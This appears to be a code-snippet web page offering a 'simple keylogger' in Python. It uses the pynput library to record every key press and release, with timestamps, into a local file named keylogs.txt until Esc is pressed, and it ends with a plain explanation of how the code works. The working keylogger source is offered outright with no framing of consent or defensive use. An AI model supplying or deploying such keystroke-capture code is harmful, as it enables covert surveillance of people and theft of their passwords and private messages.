simple keylogger on pure python in python

Here's a simple keylogger in Python using the pynput module for monitoring keyboard inputs and logging module for writing keystrokes to a log file:

main.py
from pynput import keyboard
import logging

log_file = "keylogs.txt"

logging.basicConfig(filename=log_file, level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    try:
        logging.info('Key {} pressed.'.format(key.char))
    except AttributeError:
        logging.info('Special key {} pressed.'.format(key))

def on_release(key):
    logging.info('Key {} released.'.format(key))
    if key == keyboard.Key.esc:
        return False

with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
561 chars
21 lines

This code sets up an event listener for keyboard inputs using the pynput module. The on_press function logs the keystroke when a key is pressed, while on_release logs when a key is released. The keystrokes are written to a log file specified in the log_file variable using the logging module. The program runs until the escape key is pressed.

gistlibby LogSnag